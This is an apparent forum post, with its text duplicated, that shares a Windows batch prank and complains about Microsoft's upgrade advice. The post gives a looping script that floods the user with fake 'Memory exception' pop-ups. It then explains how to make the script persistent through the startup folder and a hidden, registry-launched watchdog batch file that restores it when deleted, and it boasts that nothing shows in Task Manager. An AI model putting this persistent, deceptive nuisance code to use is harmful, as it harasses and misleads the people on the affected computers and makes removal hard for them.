My favourite batch file. It is a shame Windoze does not support a proper POSIX language, but only this crappy DOS batch stuff. AFAIK this script does not work on vista, but works on Windows 7 and XP.
:START
msg %username% Memory exception at 0x%RANDOM%
goto START
It loops, layering more and more pop-ups the longer it runs. As soon as one is closed or 60 seconds elapses another appears in the centre of the screen, de-focusing whatever the user was typing in or doing. Put it in allusers/startmenu/startup.
Now write a second batch file and hide it somewhere along with another copy of the above. It should check IF FILE EXIST for the above script, and if it does not exist then copy the above script back to the 'startup' directory. Make this IF FILE EXIST batch file execute on start-up via registry.
The benefits are that nothing harmful is done and other processes are piggybacked for the operation ( I believe explorer.exe perhaps stores the popup queue? ), so you won't spot anything out of the ordinary in taskmanager
Fixing can be done by simply deleting the files ( if the kids can find where they are located ).
AFAIK The pop-ups survive even into the login prompt if the user logs out.
I was listening on the radio this morning and a supposed Microsoft statement was read out on ABC (Australia) AM.
As well as upgrading Internet Exploder they also reccomended 'users of Windows XP' upgrade to later versions of Windoze.
Microsoft even exploits bad publicity for their upgrade cycle.
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My favourite batch file. It is a shame Windoze does not support a proper POSIX language, but only this crappy DOS batch stuff. AFAIK this script does not work on vista, but works on Windows 7 and XP.
msg %username% Memory exception at 0x%RANDOM%
goto START
It loops, layering more and more pop-ups the longer it runs. As soon as one is closed or 60 seconds elapses another appears in the centre of the screen, de-focusing whatever the user was typing in or doing. Put it in allusers/startmenu/startup.
Now write a second batch file and hide it somewhere along with another copy of the above. It should check IF FILE EXIST for the above script, and if it does not exist then copy the above script back to the 'startup' directory. Make this IF FILE EXIST batch file execute on start-up via registry.
The benefits are that nothing harmful is done and other processes are piggybacked for the operation ( I believe explorer.exe perhaps stores the popup queue? ), so you won't spot anything out of the ordinary in taskmanager
Fixing can be done by simply deleting the files ( if the kids can find where they are located ).
AFAIK The pop-ups survive even into the login prompt if the user logs out.
I was listening on the radio this morning and a supposed Microsoft statement was read out on ABC (Australia) AM. As well as upgrading Internet Exploder they also reccomended 'users of Windows XP' upgrade to later versions of Windoze.
Microsoft even exploits bad publicity for their upgrade cycle.